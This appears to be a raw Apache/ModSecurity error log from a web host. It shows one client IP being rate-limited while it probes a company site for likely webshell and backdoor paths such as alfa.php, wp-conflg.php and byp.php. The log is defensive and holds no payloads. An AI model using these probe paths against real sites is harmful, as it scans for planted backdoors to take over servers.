[Fri Feb 13 03:07:57.426583 2026] [:error] [pid 23410:tid 23427] [client 20.234.103.39:6077] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aY4lDRXZP6NFBacuW_1a2gAAAI8"]
[Fri Feb 13 03:07:57.930708 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:6067] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aY4lDRXZP6NFBacuW_1a3wAAAI0"]
[Fri Feb 13 03:07:58.439110 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:6118] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aY4lDhXZP6NFBacuW_1a4AAAAIs"]
[Fri Feb 13 03:07:58.947145 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:6044] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/wp-conflg.php"] [unique_id "aY4lDhXZP6NFBacuW_1a4QAAAIM"]
[Fri Feb 13 03:07:59.448189 2026] [:error] [pid 37510:tid 37535] [client 20.234.103.39:6448] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aY4lD8UrqDPNSf1wYBW8LAAAAZM"]
[Fri Feb 13 03:07:59.950582 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:6029] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aY4lD5UcWP4qWM7hWskzRAAAAMk"]
[Fri Feb 13 03:08:00.473447 2026] [:error] [pid 37511:tid 37592] [client 20.234.103.39:6490] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aY4lEO8EBJ86uZdxpA2iWgAAAEs"]
[Fri Feb 13 03:08:00.974290 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:6051] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/manager.php"] [unique_id "aY4lENDe69znS-f6vSZuAgAAAA8"]
[Fri Feb 13 03:08:01.486213 2026] [:error] [pid 37856:tid 37862] [client 20.234.103.39:6020] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/item.php"] [unique_id "aY4lEZUcWP4qWM7hWskzSgAAAMM"]
[Fri Feb 13 03:08:01.996083 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:6091] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/item.php"] [unique_id "aY4lERXZP6NFBacuW_1a6wAAAIs"]
[Fri Feb 13 03:08:02.496327 2026] [:error] [pid 37511:tid 37605] [client 20.234.103.39:6054] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/item.php"] [unique_id "aY4lEu8EBJ86uZdxpA2iXgAAAFg"]
[Fri Feb 13 03:08:02.996431 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6460] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/item.php"] [unique_id "aY4lEhXZP6NFBacuW_1a7gAAAIY"]
[Fri Feb 13 03:08:03.495908 2026] [:error] [pid 37511:tid 37581] [client 20.234.103.39:6455] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aY4lE-8EBJ86uZdxpA2iYgAAAEE"]
[Fri Feb 13 03:08:03.998137 2026] [:error] [pid 37856:tid 37869] [client 20.234.103.39:6139] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aY4lE5UcWP4qWM7hWskzTgAAAMo"]
[Fri Feb 13 03:08:04.529192 2026] [:error] [pid 37856:tid 37879] [client 20.234.103.39:6435] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aY4lFJUcWP4qWM7hWskzUgAAANQ"]
[Fri Feb 13 03:08:05.092377 2026] [:error] [pid 37512:tid 37608] [client 20.234.103.39:6422] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aY4lFdDe69znS-f6vSZuBgAAAAA"]
[Fri Feb 13 03:08:05.598092 2026] [:error] [pid 23410:tid 23413] [client 20.234.103.39:6027] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4lFRXZP6NFBacuW_1a8gAAAIE"]
[Fri Feb 13 03:08:06.107629 2026] [:error] [pid 37856:tid 37874] [client 20.234.103.39:6132] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4lFpUcWP4qWM7hWskzVwAAAM8"]
[Fri Feb 13 03:08:06.678240 2026] [:error] [pid 37510:tid 37522] [client 20.234.103.39:6504] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4lFsUrqDPNSf1wYBW8MQAAAYY"]
[Fri Feb 13 03:08:07.223338 2026] [:error] [pid 37856:tid 37865] [client 20.234.103.39:6443] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/404.php"] [unique_id "aY4lF5UcWP4qWM7hWskzWwAAAMY"]
[Fri Feb 13 03:08:07.728188 2026] [:error] [pid 37510:tid 37536] [client 20.234.103.39:6453] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aY4lF8UrqDPNSf1wYBW8MwAAAZQ"]
[Fri Feb 13 03:08:08.252432 2026] [:error] [pid 37510:tid 37539] [client 20.234.103.39:6103] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aY4lGMUrqDPNSf1wYBW8NAAAAZc"]
[Fri Feb 13 03:08:08.801827 2026] [:error] [pid 23410:tid 23432] [client 20.234.103.39:6463] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aY4lGBXZP6NFBacuW_1a9gAAAJQ"]
[Fri Feb 13 03:08:09.308017 2026] [:error] [pid 37512:tid 37609] [client 20.234.103.39:6464] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mail.php"] [unique_id "aY4lGdDe69znS-f6vSZuCQAAAAE"]
[Fri Feb 13 03:08:09.831998 2026] [:error] [pid 37512:tid 37612] [client 20.234.103.39:6079] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY4lGdDe69znS-f6vSZuCwAAAAQ"]
[Fri Feb 13 03:08:10.350564 2026] [:error] [pid 37512:tid 37635] [client 20.234.103.39:6093] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY4lGtDe69znS-f6vSZuEAAAABg"]
[Fri Feb 13 03:08:10.971782 2026] [:error] [pid 37856:tid 37861] [client 20.234.103.39:5954] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY4lGpUcWP4qWM7hWskzYQAAAMI"]
[Fri Feb 13 03:08:11.606331 2026] [:error] [pid 23410:tid 23422] [client 20.234.103.39:6100] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aY4lGxXZP6NFBacuW_1a-QAAAIo"]
[Fri Feb 13 03:08:12.187222 2026] [:error] [pid 37511:tid 37597] [client 20.234.103.39:6441] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aY4lHO8EBJ86uZdxpA2iagAAAFA"]
[Fri Feb 13 03:08:12.708003 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6525] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aY4lHBXZP6NFBacuW_1a_QAAAJM"]
[Fri Feb 13 03:08:13.241308 2026] [:error] [pid 23410:tid 23424] [client 20.234.103.39:6088] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aY4lHRXZP6NFBacuW_1bAQAAAIw"]
[Fri Feb 13 03:08:13.754937 2026] [:error] [pid 37510:tid 37527] [client 20.234.103.39:6045] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sx.php"] [unique_id "aY4lHcUrqDPNSf1wYBW8OQAAAYs"]
[Fri Feb 13 03:08:14.262268 2026] [:error] [pid 23410:tid 23436] [client 20.234.103.39:6059] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aY4lHhXZP6NFBacuW_1bBwAAAJg"]
[Fri Feb 13 03:08:14.769329 2026] [:error] [pid 37510:tid 37516] [client 20.234.103.39:6492] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aY4lHsUrqDPNSf1wYBW8PgAAAYA"]
[Fri Feb 13 03:08:15.273002 2026] [:error] [pid 37856:tid 37873] [client 20.234.103.39:6128] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aY4lH5UcWP4qWM7hWskzZQAAAM4"]
[Fri Feb 13 03:08:15.791860 2026] [:error] [pid 23410:tid 23426] [client 20.234.103.39:6016] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aY4lHxXZP6NFBacuW_1bCwAAAI4"]
[Fri Feb 13 03:08:16.292424 2026] [:error] [pid 37510:tid 37539] [client 20.234.103.39:6417] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lIMUrqDPNSf1wYBW8QQAAAZc"]
[Fri Feb 13 03:08:16.803899 2026] [:error] [pid 37512:tid 37613] [client 20.234.103.39:6482] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lINDe69znS-f6vSZuHAAAAAU"]
[Fri Feb 13 03:08:17.343341 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:6101] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lIRXZP6NFBacuW_1bEgAAAI0"]
[Fri Feb 13 03:08:17.875840 2026] [:error] [pid 37510:tid 37533] [client 20.234.103.39:6017] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/alfa.php"] [unique_id "aY4lIcUrqDPNSf1wYBW8QgAAAZE"]
[Fri Feb 13 03:08:18.384911 2026] [:error] [pid 37510:tid 37518] [client 20.234.103.39:6098] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aY4lIsUrqDPNSf1wYBW8QwAAAYI"]
[Fri Feb 13 03:08:18.908719 2026] [:error] [pid 37512:tid 37630] [client 20.234.103.39:6040] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aY4lItDe69znS-f6vSZuIAAAABM"]
[Fri Feb 13 03:08:19.458195 2026] [:error] [pid 37512:tid 37611] [client 20.234.103.39:6080] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aY4lI9De69znS-f6vSZuIQAAAAM"]
[Fri Feb 13 03:08:19.981512 2026] [:error] [pid 37856:tid 37875] [client 20.234.103.39:6109] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/1.php"] [unique_id "aY4lI5UcWP4qWM7hWskzbAAAANA"]
[Fri Feb 13 03:08:20.510257 2026] [:error] [pid 37512:tid 37609] [client 20.234.103.39:6094] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aY4lJNDe69znS-f6vSZuIwAAAAE"]
[Fri Feb 13 03:08:21.075056 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:6034] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aY4lJZUcWP4qWM7hWskzcAAAANE"]
[Fri Feb 13 03:08:21.579043 2026] [:error] [pid 37856:tid 37881] [client 20.234.103.39:5964] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aY4lJZUcWP4qWM7hWskzcwAAANY"]
[Fri Feb 13 03:08:22.085752 2026] [:error] [pid 37512:tid 37629] [client 20.234.103.39:6064] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/byp.php"] [unique_id "aY4lJtDe69znS-f6vSZuJgAAABI"]
[Fri Feb 13 03:08:22.589539 2026] [:error] [pid 23410:tid 23417] [client 20.234.103.39:5967] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aY4lJhXZP6NFBacuW_1bFwAAAIU"]
[Fri Feb 13 03:08:23.098172 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:6136] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aY4lJ-8EBJ86uZdxpA2idwAAAFM"]
[Fri Feb 13 03:08:23.612302 2026] [:error] [pid 23410:tid 23436] [client 20.234.103.39:6138] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aY4lJxXZP6NFBacuW_1bGQAAAJg"]
[Fri Feb 13 03:08:24.167852 2026] [:error] [pid 23410:tid 23434] [client 20.234.103.39:6058] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-trackback.php"] [unique_id "aY4lKBXZP6NFBacuW_1bHAAAAJY"]
[Fri Feb 13 03:08:24.702686 2026] [:error] [pid 37512:tid 37633] [client 20.234.103.39:6087] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aY4lKNDe69znS-f6vSZuLgAAABY"]
[Fri Feb 13 03:08:25.239635 2026] [:error] [pid 37512:tid 37624] [client 20.234.103.39:6106] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aY4lKdDe69znS-f6vSZuMQAAAA4"]
[Fri Feb 13 03:08:25.817855 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:6130] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aY4lKdDe69znS-f6vSZuMgAAAA8"]
